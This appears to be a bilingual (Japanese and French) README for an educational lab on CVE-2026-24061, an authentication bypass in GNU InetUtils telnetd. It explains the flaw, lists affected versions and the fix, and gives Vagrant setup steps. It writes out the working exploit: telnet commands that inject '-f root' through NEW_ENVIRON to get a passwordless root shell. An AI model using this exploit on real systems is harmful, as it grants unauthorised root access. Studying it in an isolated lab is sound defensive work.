⚠️ 教育目的のみ。隔離されたラボ環境。
GNU InetUtils telnetd ≤ 2.7 における重大な認証バイパス(CVSS 9.8)。
Telnet の NEW_ENVIRON オプションを介して USER 変数として -f root を注入することで、
認証されていない攻撃者がパスワードなしで root シェルを取得できます。
Telnet ネゴシエーション中にクライアントから受信した USER 変数が、
サニタイズなしで直接 /usr/bin/login に渡されます。
/usr/bin/login -p -f root
-f フラグは、login に対して指定されたユーザーのパスワード検証をスキップするよう指示します。
この動作は RFC 1572(セクション 7)で既知のリスクとして文書化されていますが、
このバグは inetutils に10年以上にわたって存在していました。
GNU InetUtils telnetd 1.9.3 から 2.7
GNU InetUtils ≥ 2.7-2 にアップグレード
このラボでは Vagrant を使用して、脆弱なバージョンの telnetd(inetutils 2.5、ソースからコンパイル)を実行する実際の隔離された VM をプロビジョニングし、 可能な限り実際の環境に近づけます。
要件: マシンに Vagrant + VirtualBox がインストールされていること。
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
VM は IP 192.168.56.10 で起動し、telnetd がポート 23 で待機します。

ホストマシンから:
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
USER 変数は、ログインプロンプトが表示される前のネゴシエーションフェーズ中に、 Telnet の NEW_ENVIRON オプションを介して注入されます。

Agokoli
⚠️ Usage éducatif uniquement. Environnement isolé.
Contournement d'authentification critique (CVSS 9.8) dans GNU InetUtils telnetd ≤ 2.7.
En injectant -f root comme valeur de la variable USER via l'option Telnet NEW_ENVIRON,
un attaquant non authentifié peut obtenir un shell root sans aucun mot de passe.
La variable USER reçue du client pendant la négociation Telnet est passée
directement à /usr/bin/login sans validation :
/usr/bin/login -p -f root
Le flag -f indique à login de ne pas vérifier le mot de passe pour l'utilisateur donné.
Ce risque est documenté dans la RFC 1572 (Section 7) — pourtant le bug est resté
présent dans inetutils pendant plus d'une décennie.
GNU InetUtils telnetd 1.9.3 à 2.7
Mettre à jour vers GNU InetUtils ≥ 2.7-2
Ce lab utilise Vagrant pour provisionner une vraie VM isolée faisant tourner la version vulnérable de telnetd (inetutils 2.5, compilé depuis les sources), afin d'être au plus proche d'un environnement réel.
Prérequis : Vagrant + VirtualBox installés sur votre machine.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM démarre avec l'IP 192.168.56.10 et telnetd en écoute sur le port 23.

Depuis votre machine hôte :
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variable USER est injectée via l'option NEW_ENVIRON du protocole Telnet pendant
la phase de négociation — avant même l'apparition du prompt login:.

Agokoli